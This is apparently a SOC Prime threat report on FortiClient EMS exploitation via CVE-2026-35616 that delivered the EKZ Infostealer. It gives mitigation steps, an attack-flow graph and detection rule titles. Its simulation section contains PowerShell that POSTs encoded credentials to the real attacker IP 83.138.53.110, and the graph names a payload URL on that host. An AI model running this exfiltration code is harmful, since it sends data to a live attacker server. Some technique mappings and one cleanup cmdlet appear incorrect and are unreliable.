SOC Prime Bias: Critical

29 May 2026 07:30 UTC

FortiClient EMS Exploited via CVE-2026-35616 to Deliver EKZ Infostealer Disguised as a Fortinet Patch

Author Photo
SOC Prime Team linkedin icon Follow
FortiClient EMS Exploited via CVE-2026-35616 to Deliver EKZ Infostealer Disguised as a Fortinet Patch
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

Arctic Wolf identified a campaign that exploited CVE-2026-35616 in FortiClient EMS to distribute a malicious PowerShell script to managed endpoints. That script retrieved and launched a credential-stealing payload known as EKZ Infostealer while posing as a legitimate Fortinet patch. The malware collected browser passwords, cookies, and autofill information, then exfiltrated the stolen data over HTTP. By abusing trusted EMS configuration channels, the attackers were able to execute the payload quickly across multiple managed devices.

Investigation

Researchers recreated the exploit by sending specially crafted unauthenticated HTTP requests to FortiClient EMS APIs, resulting in configuration changes that inserted malicious scripts. Execution traces showed fortitray.exe or ipsec.exe spawning cmd.exe, which in turn launched a Base64-encoded PowerShell command that downloaded p.exe from a malicious IP address. The payload wrote a log.txt file to ProgramData, sent the captured data back to the same server, and then deleted itself.

Mitigation

Organizations should update FortiClient EMS to a version that fixes CVE-2026-35616 and restrict API access to approved source IP addresses. Defenders should also review EMS logs for certificate-related errors and unexpected changes to Remote Access Profiles. Outbound HTTP traffic from endpoints to unknown IP addresses should be blocked, and script execution within VPN profile workflows should be limited through least-privilege controls.

Response

If this activity is detected, isolate affected hosts immediately, revoke any unauthorized EMS accounts that may have been created, and remove malicious script files from the FortiClient logs directory. Investigators should preserve the log.txt artifact, calculate hashes for the malicious binaries, and hunt for matching indicators across the environment. Exposed browser credentials should be reset, and teams should monitor for suspicious authentication activity that may follow the theft.

"graph TB %% Class definitions classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef file fill:#ccffcc classDef technique fill:#ddeeff %% Nodes action_initial_access["<b>Action</b> – <b>T1190 Exploit Public-Facing Application</b><br/>CVEu20112026u201135616 in FortiClient EMS API"] class action_initial_access action process_api_requests["<b>Process</b> – Unauthenticated API requests processed as privileged admin actions"] class process_api_requests process action_cmd_launch["<b>Action</b> – <b>T1059.003 Windows Command Shell</b><br/>fortitray.exe & ipsec.exe launch cmd.exe"] class action_cmd_launch action action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b><br/>Base64u2011encoded PowerShell script execution"] class action_powershell action technique_obfuscation["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/>Payload delivered as base64"] class technique_obfuscation technique technique_decode["<b>Technique</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Runtime base64 decoding"] class technique_decode technique action_download["<b>Action</b> – <b>T1570 Lateral Tool Transfer</b><br/>Download FortiEndpoint_Patch.exe (p.exe)"] class action_download action file_payload["<b>File</b> – FortiEndpoint_Patch.exe (p.exe)<br/>Hosted at http://83.138.53.110/dl/p.exe"] class file_payload file action_execute["<b>Action</b> – <b>T1203 Exploitation for Client Execution</b><br/>Silent execution of downloaded binary"] class action_execute action malware_infostealer["<b>Malware</b> – EKZ Infostealer<br/>Collects credentials, cookies, autofill data"] class malware_infostealer malware technique_cred_access["<b>Technique</b> – <b>T1555.003 Credentials from Web Browsers</b>"] class technique_cred_access technique file_log["<b>File</b> – C:\ProgramData\log.txt<br/>Collected data storage"] class file_log file action_exfil["<b>Action</b> – <b>T1567 Exfiltration Over Web Service</b><br/>HTTP POST to attacker server"] class action_exfil action action_cleanup["<b>Action</b> – <b>T1564 Hide Artifacts</b><br/>Delete malicious files and log"] class action_cleanup action %% Connections action_initial_access –>|leads_to| process_api_requests process_api_requests –>|triggers| action_cmd_launch action_cmd_launch –>|executes| action_powershell action_powershell –>|uses| technique_obfuscation technique_obfuscation –>|requires| technique_decode action_powershell –>|downloads| action_download action_download –>|retrieves| file_payload file_payload –>|executed_by| action_execute action_execute –>|runs| malware_infostealer malware_infostealer –>|performs| technique_cred_access malware_infostealer –>|writes| file_log file_log –>|sent_by| action_exfil action_exfil –>|followed_by| action_cleanup action_cleanup –>|deletes| file_payload action_cleanup –>|deletes| file_log "

Attack Flow

Detections

Short File Name (via cmdline)

SOC Prime Team
28 May 2026

Suspicious CURL Usage (via cmdline)

SOC Prime Team
28 May 2026

Call Suspicious .NET Methods from Powershell (via powershell)

SOC Prime Team
28 May 2026

Possible Bits Transfer Activity (via powershell)

SOC Prime Team
28 May 2026

IOCs (HashSha256) to detect: FortiClient EMS Exploited via CVE-2026-35616 to Deliver EKZ Infostealer Disguised as a Fortinet Patch

SOC Prime AI Rules
28 May 2026

IOCs (HashSha1) to detect: FortiClient EMS Exploited via CVE-2026-35616 to Deliver EKZ Infostealer Disguised as a Fortinet Patch

SOC Prime AI Rules
28 May 2026

IOCs (HashMd5) to detect: FortiClient EMS Exploited via CVE-2026-35616 to Deliver EKZ Infostealer Disguised as a Fortinet Patch

SOC Prime AI Rules
28 May 2026

IOCs (SourceIP) to detect: FortiClient EMS Exploited via CVE-2026-35616 to Deliver EKZ Infostealer Disguised as a Fortinet Patch

SOC Prime AI Rules
28 May 2026

IOCs (DestinationIP) to detect: FortiClient EMS Exploited via CVE-2026-35616 to Deliver EKZ Infostealer Disguised as a Fortinet Patch

SOC Prime AI Rules
28 May 2026

EKZ Infostealer Credential Exfiltration via HTTP POST [Windows Network Connection]

SOC Prime AI Rules
28 May 2026

FortiClient EMS Exploited via CVE-2026-35616 to Deliver EKZ Infostealer [Windows Process Creation]

SOC Prime AI Rules
28 May 2026

PowerShell Execution via FortiClient to Deliver EKZ Infostealer [Windows Powershell]

SOC Prime AI Rules
28 May 2026

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

  • Attack Narrative & Commands:
    The attacker has previously harvested credentials from the Windows registry (T1216 family) using EKZ Infostealer. To exfiltrate the collected blob, the malware launches a PowerShell one‑liner that POSTs the Base64‑encoded credentials to its command‑and‑control server at 83.138.53.110. The use of PowerShell (Invoke-WebRequest) is a classic living‑off‑the‑land technique that evades binary‑based detections while still producing network telemetry observable by the firewall.

    ```powershell
    # Simulated credential payload (Base64 of "user:pass")
    $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!"))
    $uri = "http://83.138.53.110/collect"
    Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded"
    ```
  • Regression Test Script: This self‑contained PowerShell script reproduces the exfiltration step and can be rerun for future regressions.

    ```powershell
    <#
    .SYNOPSIS
        EKZ Infostealer credential exfiltration simulation (HTTP POST).
    
    .DESCRIPTION
        Generates a fake credential blob, encodes it, and POSTs it to the
        known malicious IP used in the detection rule.
    
    .NOTES
        Requires outbound HTTP allowed to 83.138.53.110 on port 80.
    #>
    
    # ---- Preparation ----
    $creds   = "admin_user:SuperSecret!"
    $b64     = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds))
    $target  = "http://83.138.53.110/collect"
    
    # ---- Execution ----
    try {
        Write-Host "[*] Sending credential blob to $target ..."
        $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing
        Write-Host "[+] HTTP Status:" $resp.StatusCode
    } catch {
        Write-Error "[-] POST failed: $_"
    }
    
    # ---- End of script ----
    ```
  • Cleanup Commands: No persistent artifacts are created on disk, but to be thorough we close any lingering web request sessions and clear the PowerShell variable.

    ```powershell
    # Cleanup variables and close any open web sessions
    Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue
    if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) {
        Remove-WebRequestSession -All
    }
    Write-Host "[*] Cleanup complete."
    ```